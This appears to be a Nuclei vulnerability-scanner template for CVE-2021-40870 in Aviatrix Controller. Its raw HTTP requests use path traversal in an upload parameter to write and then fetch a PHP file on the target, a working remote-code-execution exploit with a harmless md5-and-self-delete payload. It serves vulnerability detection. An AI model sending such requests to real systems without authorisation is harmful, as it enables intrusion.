58 lines
2.2 KiB
YAML
58 lines
2.2 KiB
YAML
id: CVE-2021-40870
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info:
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name: Aviatrix Controller 6.x before 6.5-1804.1922 - Remote Command Execution
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author: pikpikcu
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severity: critical
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description: Aviatrix Controller 6.x before 6.5-1804.1922 contains a vulnerability that allows unrestricted upload of a file with a dangerous type, which allows an unauthenticated user to execute arbitrary code via directory traversal.
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impact: |
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Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system.
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remediation: |
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Upgrade Aviatrix Controller to version 6.5-1804.1922 or later to mitigate this vulnerability.
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reference:
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- https://docs.aviatrix.com/HowTos/UCC_Release_Notes.html#security-note-9-11-2021
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- https://wearetradecraft.com/advisories/tc-2021-0002/
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- https://nvd.nist.gov/vuln/detail/CVE-2021-40870
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- http://packetstormsecurity.com/files/164461/Aviatrix-Controller-6.x-Path-Traversal-Code-Execution.html
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- https://github.com/ARPSyndicate/cvemon
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-40870
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cwe-id: CWE-23
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epss-score: 0.85536
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epss-percentile: 0.98294
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cpe: cpe:2.3:a:aviatrix:controller:*:*:*:*:*:*:*:*
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metadata:
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max-request: 2
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vendor: aviatrix
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product: controller
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tags: cve2021,cve,intrusive,packetstorm,rce,aviatrix,kev,fileupload
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variables:
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string: "CVE-2021-40870"
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http:
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- raw:
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- |
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POST /v1/backend1 HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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CID=x&action=set_metric_gw_selections&account_name=/../../../var/www/php/{{randstr}}.php&data=<?php echo md5("{{string}}");unlink(__FILE__);?>
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- |
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GET /v1/{{randstr}}.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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matchers-condition: and
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matchers:
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- type: word
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part: body_2
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words:
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- '{{md5(string)}}'
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- type: status
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status:
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- 200
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# digest: 4b0a00483046022100eba320c7da3c4834ff65ad026efb26ae57c68bb259202093673bff5e18f5c628022100d03e87ea7cb81a79856da54bce64f0dd96c4d08a5bcc15d7aa122dec8bc4cda3:922c64590222798bb761d5b6d8e72950 |